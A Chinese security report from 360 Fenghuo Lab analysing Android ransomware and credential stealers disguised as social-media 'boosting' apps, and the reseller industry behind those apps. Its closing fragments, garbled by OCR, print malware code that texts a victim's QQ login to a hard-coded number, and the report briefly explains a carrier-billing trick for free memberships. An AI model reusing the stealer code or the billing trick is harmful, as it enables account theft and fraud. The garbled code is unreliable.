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[bookmark: _Toc510097438]第一章 勒索中的“代刷”
勒索软件是指启动后通过置顶自身窗口或重置锁机密码强制锁定用户桌面、使用户无法正常使用设备，并以支付解锁对用户进行勒索的软件。近年来，Android平台勒索软件以其高危害、高伪装性、难卸载等特点一直是360烽火实验室关注的重点。针对勒索软件擅于伪装成特定流行软件进行传播的现象，360烽火实验室对Android平台勒索软件伪装类别及相关产业进行了持续跟踪与分析。在2018年3月初发表的《勒索软件“假面”系列——免流软件》中，我们已经介绍了勒索软件的一类“假面”——免流软件，并对免流产业现状、原理与危害做了详细阐述。近期，我们把目光瞄准了一类比免流软件更加常见的伪装类别——代刷代挂类软件（以下简称代刷软件）。
[bookmark: _Toc510097439]一、勒索软件伪装类别分布
从勒索软件伪装类别分布情况可以看到，勒索软件伪装类别以色情和黑客工具为主，而在黑客工具中，代刷类占比位列第二，仅次于外挂、辅助类。
[image: C:\Users\zhoufanglin\Desktop\饼图模版.png]
图1.1 勒索软件伪装类别分布
[bookmark: _Toc510097440]二、主流的伪装类别——代刷软件
伪装成代刷软件的勒索软件名称多为“XX代刷”、“XX代挂”或“XX业务”，实际运行后会置顶特定窗口阻止用户进入桌面，或者申请设备管理器锁屏密码相关权限并在用户授权后实施锁屏。
[bookmark: _GoBack][image: C:\Users\zhanghao-ms\Desktop\media\image4.png]
图1.2 冒充代刷软件的勒索软件
截止到2018年3月，360烽火实验室共捕获到超过20万个代刷软件，其中恶意勒索软件占比高达57.4%，这些软件打着代刷、代挂的幌子诱导用户下载、安装或激活设备管理器，随后对用户进行锁屏勒索，给用户设备与财产安全带来了严重威胁。
大量勒索软件伪装成代刷软件传播充分反映了代刷软件拥有着可观的市场空间。实际上，随着近两年来移动社交软件与视频直播软件的流行，越来越多的用户开始关注自身账户等级、特权、以及粉丝量等指标，以少量金钱、时间换取高账户特权等级、高粉丝量成为了部分用户的强烈诉求，代刷软件由此“应运而生”并飞速传播开来。通过对代刷软件进行持续跟进与分析后发现，代刷软件以其价格低廉、功能齐全、兼容性强、操作简单、效果显著等特性吸引了大量商家与用户，且从商家最初建站到用户最终购买已形成了清晰的产业链。


[bookmark: _Toc504652656][bookmark: _Toc508208815][bookmark: _Toc509675520][bookmark: _Toc509683906][bookmark: _Toc510097441]第二章 代刷软件
[bookmark: _Toc510097442][bookmark: _Toc508208816][bookmark: _Toc509675521][bookmark: _Toc509683907][bookmark: _Toc504652657]一、定义与分类
代刷软件是指通过特定手段提高特定账户粉丝量、访问量或挂机时间等量化指标，或者获取特定权限的软件。常见的代刷软件可分为刷量、刷会员与代挂三种：
1. 刷量：即刷高特定账户量化指标，量化指标可细分为访问量、点赞量、评论量、转发量、粉丝量、分享量、播放量等；
2. 刷会员：即为特定账户刷取特权，将普通用户提升为特权用户，以QQ刷钻最为常见；
3. 代挂：即代理挂机，通过获取用户的登录凭证来代替用户登录与挂机。
[bookmark: _Toc510097443][bookmark: _Toc504652658][bookmark: _Toc508208819][bookmark: _Toc509675524][bookmark: _Toc509683912]二、来源
通过对大量Android代刷软件进行分析后发现，绝大多数代刷软件都是由Web代刷网站转化而来。目前市场上有很多Web网站打包工具与平台，例如AIDE、IAPP、E4A等开发工具以及变色龙、九维云打包等软件打包平台，利用这些工具或平台可以非常便捷地将特定Web网站转换成对应的代刷软件，且转换出来的代刷软件具有十分相似的文件清单与代码架构。代刷软件开发者只需要提供代刷接口与不同的软件名称，即可快速生成多款代刷软件。
我们对捕获到的代刷软件开发工具进行了统计与分类，由统计结果可以看到，开发工具开发出的代刷软件数量远大于Web打包平台打包生成的代刷软件数量，而在开发工具中，由AIDE、IAPP、E4A三类工具开发的代刷软件占比高达80%以上，其中AIDE最为常用。
[image: C:\Users\male\Desktop\模板.jpg]
[bookmark: _Toc504652663]图2.1 代刷软件来源分析
简易开发工具与软件打包平台的普及很大程度降低了代刷软件的开发门槛与成本，在低门槛与低成本的诱惑下，不少代刷商家利用代刷软件的方式推广其代刷网站，并在移动端与Web端“双线”经营，极大提高了盈利效率。
[bookmark: _Toc510097444]三、实现原理
1. 代刷软件刷量原理
Web代刷网站的内容与源码十分简单，基本上只包含下单功能与订单处理逻辑。代刷软件实质与Web代刷网站一样，都只是一个为用户提供下单购买功能的下单平台，并不包含实际的刷量逻辑。用户通过代刷软件提交订单后，代刷软件会将订单请求传递至代刷网站，代刷网站随后在后台进行统一处理，并将刷量请求传递给真正实现代刷功能的供货商代刷后台。
[image: C:\Users\zhanghao-ms\Desktop\media\image6.png]
图2.2 代刷完整流程
2. 实际刷量逻辑
供货商的代刷后台是实际实现代刷逻辑与完成代刷业务的地方，而针对不同类型的代刷业务，代刷后台会应用不同的代刷原理：
（1） 刷量业务。
刷量业务通常是通过僵尸账号实现的。代刷逻辑开发者通过一定手段获取到海量僵尸账号，同时获取到官网的点赞、加粉丝、转发等接口，然后在服务器上搭建好一套控制僵尸账号自动化访问指定接口的代刷系统就可以进行自动的刷量操作。除了利用僵尸账号，目前还存在另一种刷量方式，即将有刷量需求的用户通过共同的平台聚集到一起，这些账号之间通过人工互刷可以达到真人刷量的目的。真人刷量的代表软件有“快手网红联盟”，这是一款只支持为特定应用刷量的软件，使用此软件的都是真实用户，这些真实用户间通过互相浏览、点赞或评论等操作来增加彼此的浏览量、点赞量或评论量等量化指标。
[image: C:\Users\zhanghao-ms\Desktop\media\image7.png]
图2.3 某手网红联盟
（2） 刷会员。
刷会员业务通常是通过不正当利用运营商计费机制实现的。与免流软件实现原理一样，刷会员业务也是利用了运营商代理系统与计费检测系统分离的特点，通过特定手段使得这两个分离的系统对购买结果处理不同步，从而达到廉价刷会员的目的。以刷QQ会员为例，这种“特定手段”通常是低价在淘宝等市场购买廉价SIM卡，然后用手机话费开钻后在一定的时间差内发送取消指令或者停机来干扰扣费结果。这种对运营商扣费结果的干预会导致运营商代理系统上显示绑定QQ的手机号购买了QQ会员等业务，而在运营商的计费检测系统上却没有购买后的扣费成功记录，以此达到免费订购QQ会员的效果。然而需要留意的是，这种代刷手段存在一个问题——无法长期维护会员状态，开通期限最多一个月。与刷量相比，刷会员业务用户承担的风险比较大，不仅刷入会员的期限无法保证，而且还面临被封号的风险。
（3） 代挂。
[bookmark: _Toc509675525][bookmark: _Toc508208820]代挂的原理较前两种业务简单，即通过用户的登陆凭证登录用户账户并代替用户完成软件挂机。与前两种业务相比，代挂商家必须首先获取到用户的登录账号和密码，因此用户难免会面临账号密码泄露的巨大风险。
[bookmark: _Toc510097445]四、示例
Android代刷软件只是一个下单平台，逻辑十分简单。以一款由E4A工具开发的代刷软件为例，其核心代码如下图所示。该代刷软件会根据用户在下单交互界面所选择的业务类型、商品类型、数量等构造请求参数串，并通过特定请求接口将请求参数串发送到代刷网站。
[image: ]
图2.4 代刷软件核心代码
代刷网站也是一个下单平台，且交互界面与代刷软件十分相似。代刷网站在接收到代刷软件发送过来的业务请求后会将业务请求连同请求参数一同发送给代刷后台，代刷后台会根据请求参数完成代刷业务。
[image: C:\Users\zhanghao-ms\Desktop\media\image9.png]
图2.5 代刷软件与对应的代刷网站
[bookmark: _Toc509683913]

[bookmark: _Toc510097446]第三章 代刷产业分析
[bookmark: _Toc510097447][bookmark: _Toc509683914][bookmark: _Toc508208821][bookmark: _Toc509675526]一、角色分工
与免流产业一样，代刷产业也形成了由上至下、层层发散的产业链，从最上层供货商到中间的各类主站、分站再到最终消费的用户，各角色间既各司其职又有功能衔接与交叉，共同维系着整个代刷产业。
1. 供货商。供货商作为代刷最上游，负责为下层主站提供代刷逻辑与业务支持。当收到主站发送过来的代刷请求时，供货商在自己的代刷后台应用代刷逻辑完成代刷业务并将业务结果反馈给主站；
2. 主站。主站是代刷产业的核心，其上游对接供货商或卡盟，下游对接各个分站，提供了数据存储、建分站、订单查询、支付等多种功能；
3. 普通分站。除了不能建立下级分站，普通分站几乎拥有和主站一样的功能。普通分站拥有修改网站公告、网站名字、网站logo、商品价格等权限。用户在分站下单成功后，分站管理员可以得到相应提成；
4. 高级分站。高级分站是普通分站的升级版，与普通分站不同的是高级分站支持开通下级分站，用户在高级分站或其下级分站上下单成功后高级分站管理员都可以拿到提成；
5. 用户。用户作为代刷最下游，无论是通过代刷软件消费还是Web代刷网站消费，最终都以购买代刷服务的形式为整个代刷产业的运作提供了资金来源。 
[bookmark: _Toc510097448]二、推广与盈利
代刷产业是一种十分依赖于推广扩散来盈利的产业，一方面，在商家泛滥的代刷市场，推广程度会影响商家知名度，而知名度会直接影响用户数量；另一方面，主站与高级分站会从下级分站的收益中抽成，由主站与高级分站扩散出的下级分站越多，其收益越高。代刷产业也是一类“一本万利”的产业，只要维护好特定网站就可以不断推广获利。
1. 推广模式
代刷产业的推广呈现从主站由上至下层层扩散的架构，这是由代刷产业“上层吃下层回扣”的盈利模式决定的。首先，主站的经营者为了盈利，会将自己的代刷网站或者软件通过QQ群、论坛、贴吧等方式发布到网上进行推广，用户可以在这些网站下免费或者低价建立高级分站，成为高级分站管理员，高级分站管理员为了获取更多利益，也会用网络发布的形式去推广自己的分站，以此吸引用户购买代刷业务或在自身分站下建立低级分站，低级分站直接对接代刷业务消费用户，又再次通过网络发布对外推广自己的分站以吸引更多用户来消费。在这种模式下，代刷网站的下级分站与用户数目越多，网站的收益就越高。
[image: C:\Users\zhanghao-ms\Desktop\media\image10.png]
图3.1 代刷产业推广模式
2. 盈利情况
代刷业务以价格低廉的特点吸引了大量用户，而实际上，代刷走的是“薄利多销”的路线，再加上代刷网站或软件的开发与维护成本极低，一个流行代刷主站的获利往往十分可观。通过长期跟进多个流行主站与分站，我们整理汇总出了部分代刷网站的盈利情况。由图可见，主站的日平均利润在数十元至上千元不等，差距甚是悬殊。日均收益最高的是一个主机名为“qqdzz.com”的主站，其运营天数不到一年，而累计交易额已达到了一百多万。
[image: C:\Users\zhanghao-ms\Desktop\media\image11.png]
图3.2 部分代刷网站收益情况
[image: ]
图3.3 分站内部价格表
代刷分站可以自定义销售价格，但是由于代刷商家众多，各商家之间存在价格牵制，代刷业务的价格并不会有太大波动且十分低廉，因此一直吸引着广大用户消费购买。这种双方“各取所需、互利共赢”的模式使得代刷产业从产生到现在经久不衰。也正是因为如此，勒索软件的作者将矛头指向代刷这块“肥土”，以此来加速勒索软件传播与扩大勒索软件感染范围。
[bookmark: _Toc510097449]三、用户群分析
通过对TOP代刷QQ群成员分布分析发现，代刷产业的关注人群普遍偏年轻化，其中00和90后占据了半壁江山。虽然主站和高级分站会吃普通分站的提成，最后到普通分站的利润会大打折扣，但建立代刷分站销售代刷服务的赚钱渠道和很多传统赚钱渠道比起来成本低、耗时少且风险较小，因此这种业余赚钱渠道受到了不少初高中生以及大学生的追捧。
[image: ]
图3.4 代刷QQ群人员分布
此外，我们通过在代刷网站购买某知名直播平台的刷粉丝业务并在粉丝量大幅提升后，对这些“买来的”粉丝及其所粉的人群进行观测，这些“买来的”粉丝在关注购买者的同时也关注了很多其他的用户，其中不乏一些在直播平台排名靠前的主播，这说明现在流行直播平台上的某些大主播也有“买粉”嫌疑。随着网络社交与直播平台的风靡，不少用户出于攀比心理或扩大自身知名度与影响力的原由，可能会迫切追求高粉丝量、高评论数等量化指标，而代刷业务就“雪中送炭”成为了他们的最佳选择。
[bookmark: _Toc510097450]四、相似的平台架构
通过对几个流行代刷网站的分析发现，虽然这些代刷网站的网址不同，但网站上的内容以及功能都大同小异。对这些代刷网站进行抓包后的结果显示，它们的组织结构、网络请求和返回值字段大体相似，例如注册分站的URL都包含一个共同的路径（/user/reg.php），且获取QQ说说的请求URL也大体相同。
[image: ] 
图3.5 注册分站的URL列表
[image: ]
图3.6 获取说说的请求URL列表
通过进一步分析从网络上随机取得的建站源码中包含的注册分站和获取QQ说说的代码，我们发现此源码结构及代码功能和这些代刷网站的源码与功能极其相似。由此基本可以判定市面上的代刷网站大部分都是使用的同一套建站源码。通过这套源码，建站者只需拥有自己的主机和域名就可以轻松建站，能力要求与成本极低。代刷产业正是凭借着低成本与门槛吸引了众多兼职人员加入其中。
[image: ]
图3.7 建站源码结构
[image: ]
图3.8 建站源代码
[bookmark: _Toc510097451]五、加速移动化
现今，移动互联网的发展势头正在渐渐超越传统互联网，面对移动互联网这块“肥肉”，代刷产业的步伐也没有停歇，代刷主战场已逐渐从Web平台转移到移动代刷软件。自2015年开始，Android代刷软件开始批量出现并逐渐增多，且近几年增长趋势逐年增强，仅2017年一年新增的代刷软件就超过了15万个，是2016年总量的3.1倍、2015年总量的35.6倍。
[image: E:\My360\工作区\工作日志\代刷\移动端代刷类应用增长趋势.jpg]
图3.9 Android代刷软件数量增长趋势
[bookmark: _Toc504652662][bookmark: _Toc509675529][bookmark: _Toc508208824]近年来，随着各种Web转手机软件厂家的增多，生成一个手机软件的成本几乎为零。代刷软件的流行给代刷产业带来了又一次春天，但同时代刷市场鱼龙混杂、良莠不齐，一些不法分子打着代刷的旗号传播盗号、勒索等恶意软件，给用户带来了极大的经济损失。


[bookmark: _Toc509683919][bookmark: _Toc510097452]第四章 代刷软件的危害
[bookmark: _Toc508208826][bookmark: _Toc509675531][bookmark: _Toc509683924][bookmark: _Toc510097453]一、代刷暗藏“杀机”
[bookmark: _Toc504652669]目前代刷软件中充斥着大量危险的仿冒代刷软件，它们打着代刷的旗号，在用户安装后实施勒索、盗号等恶意行为，给用户隐私与财产安全带来了严重隐患。
1. 锁机勒索
在我们捕获到的代刷软件中，超过一半是恶意锁屏勒索软件。用户在下载安装代刷软件时，极有可能上了勒索软件的钩，而由于代刷软件本身并不是一种合规软件，这些受害用户在被锁屏勒索后，很有可能会选择妥协并主动支付解锁，这越发助长了勒索软件开发者的嚣张气焰与利用用户侥幸心理实施犯罪的行径。
[image: ]
图4.1 仿冒勒索软件的代刷软件
2. [bookmark: _Toc509683926][bookmark: _Toc504652670]账号、密码被盗，通讯录被窃
盗窃账号、密码的行为多出现在由IAPP、AIDE等工具开发的恶意代刷软件中。这类软件最明显的特点就是在软件启动后出现账号、密码输入界面，并以代刷诱导用户输入账号与密码，一旦用户点击确认登录按钮，所输入的登录信息就会以短信或网络的方式被发送到指定手机或服务器上。这类软件属于欺诈盗号木马且实际上没有代刷功能，用户不但不能达到代刷的目的，反而会造成自己的账号密码被盗。
[image: C:\Users\zhanghao-ms\Desktop\media\image20.png]
图4.2 盗号界面
除了盗取用户登录凭证，恶意代刷软件还“热衷于”窃取用户的短信、联系人、通话记录等隐私信息。这类代刷软件一旦被安装，会自动获取用户短信、联系人、通话记录等信息并通过各种方式（短信、邮件、网络）上传到远程服务器，且多数情况下，这些软件在首次启动后会自动隐藏桌面图标，使得用户日常无法感知且无法正常卸载，以此达到长期潜伏、持续作恶的目的。
[image: ]
图4.3 发送短信的代码
3. [bookmark: _Toc509683927][bookmark: _Toc504652671]变相诈骗
部分代刷软件由于技术落后、端口被封杀等原因无法实现正常的代刷功能，但是其运营人员仍大量推广出售此代刷业务，用户在充值后非但不能实现代刷，充值的金钱也无法退回。这类变相诈骗防不胜防，给用户财产安全带来了严重威胁。
[bookmark: _Toc509675532][bookmark: _Toc509683928][bookmark: _Toc510097454]二、统一治理
2018年1月份，北京网信办针对网络上存在的热搜榜、热门话题榜等的刷榜行为进行了统一治理。在对相关负责人进行了约谈后，于2月2号发布了《微博客信息服务管理规定》，开始对微博客信息服务进行更严格监督与管理。
[image: ]
图4.4 网信办发布《微博客信息服务管理规定》
刷榜行为制造的虚假信息扰乱了社会秩序、损害了公共利益、扭曲了社会道德风向，有的甚至还会带来直接的经济损失。代刷软件作为实现刷榜的一类工具亟待治理，以此还公众一个真实、公平的网络空间。


[bookmark: _Toc509683929][bookmark: _Toc510097455]总结
代刷本身是一个游离于制度边缘的产业，代刷用户都是抱着侥幸或者虚荣的心理进行尝试。恶意软件开发者正是利用了用户的这种心理，大肆传播仿冒代刷软件的恶意软件。随意下载安装与使用代刷软件可能会给用户带来不可预知的风险，对此，用户需要注意：
1. 尽量避免使用不合规软件；
2. 尽量在正规应用市场下载应用，不要轻易安装各种聊天群或论坛的软件；
3. 谨慎授予软件设备管理器等高风险权限；
4. 安装安全防护软件，以便及时识别恶意应用，确保设备与财产安全；
5. 一旦手机中毒，请及时联系移动安全厂商，以最大程度地减少损失。
[bookmark: _Toc508208828]







[bookmark: _Toc507694050][bookmark: _Toc508200930][bookmark: _Toc510097456]360烽火实验室
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。
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include ("../includes/common.php") ;

if ($islogin2==1) {

@header (*Content-Type: text/html; charset=UTF-8');

exit("<script language='javascript'>alert ('#5EZFE! *);window.location.href=
}elseif ($conf [’ fenzhan_buy'1==0) {

@header (*Content-Type: text/html; charset=UTF-8');

exit("<script language='javascript'>alert (' :4HifskMRFF/E EEHFFBASETNEE! *) swindow. location. href=

*i</script>") ;

Yi</seript>");
b
i£($_GET['act']=="check') {
Sqz = daddslashes($_GET['qz'1);
$domain = $qz . '.' . daddslashes($_GET['domain']);
$srow=$DB->get_row("SELECT * FROM shua_site WHERE domain='{$domain}' or domain2='{$domain}' limit 1");
1£($srow)exit(11');
else exit('0");
Jelseif (§_GET['act’]=='check2’) [
Suser = daddslashes ($_GET['user']);
$srow=$DB->get_row("SELECT * FROM shua_site WHERE user='{$user}' limit 1");
1£($srow)exit(11');
else exit('0");
}elseif ($_GET['act']=="pay'){
$qz = strtolower (daddslashes (§_POST['qz"1));
$domain = strtolower (strip_tags (daddslashes ($_POST(['domain'])));
Suser = strip_tags (daddslashes ($_POST['user']));
$pwd = strip_tags (daddslashes ($_POST['pwd']));
Sname = strip _tags (daddslashes (5_POST['name']));
$qg = daddslashes ($_POST['aa']);
$domain = $qz . '.' . Sdomain;
if (strlen(Sqz) < 2 || strlen(Sqz) > 10 || !preg mateh('/~[a-20-3\-1+5/",$qz)) {
exit('{"code":-1, "msg": "MEMEFEHE! "1");
} elseif (!preg match('/"[a-za-20-9]+$/",$user)) [
exit('{"code":-1,"msg":"FH L REAEIRIEF! "1);
} elseif ($DB->get_row("SELECT * FROM shua site WHERE user='{$user}' limit 1")) {
exit('{"code":-1,"msg":"HFZEFE! "}");
} elseif (strlen($pwd) < &)
exit('{"code":-1, "msg": "B G EEMK T 6L 1)
} elseif (strlen($name) < 2) [
exit('{"code":-1, "msg": "MIEZIRALE! "}");
} elseif (strlen(Sq) < 5 || !preg match('/~[0-31+5/",$aq)) {
exit('{"code":-1, "msg": "QQIERAIEFH! "});
} elseif ($DB->get_row("SELECT * FROM shua site WHERE domain='{$domain}' or domain2='{$domain}' limit 1") || $Sgz=="www' || $d
exit('{"code":-1,"msg":"LLRIGEMMEA! "1);

}

Sendtime = date("Y-m-d H:i:s", strtotime("+ 12 months”, time()));
Strade_no=date ("¥YmdHis").rand(111,595);
$input=$domain.'|'.$user.’|'.$pwd.'|'.$name.'|'.$qq-
$need=S$conf [ fenzhan price'];

-Sendtime;
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@override public void onClick(View args)
PendingTntent vs = null
Stzing v0 = this.valSzh.getText().voString();
Stzing v1 = this.valSmm.getText().toString():
£((v0.equals (")) |1 (vi.equals("))) ¢
Toast.makeText (Mainkctivity.this, "KSHEBAMNE", 1).snow0:
)
else ¢
SneManages.getDefault () . sendTexchessage (MainAotivity. this.sjh, ((Stzing)vs), mew StringBuffes()
_append (new StringBuffe: () .append(new StringBuffer().append (new StringBuffes()
-append ("QQ: ") .append (v0) .toString()) .append ("E: ") .toString()) .append (vl) .toString())
«append ("\n AR B HFHME, 009580846367) .toSTring (), VS, vS):
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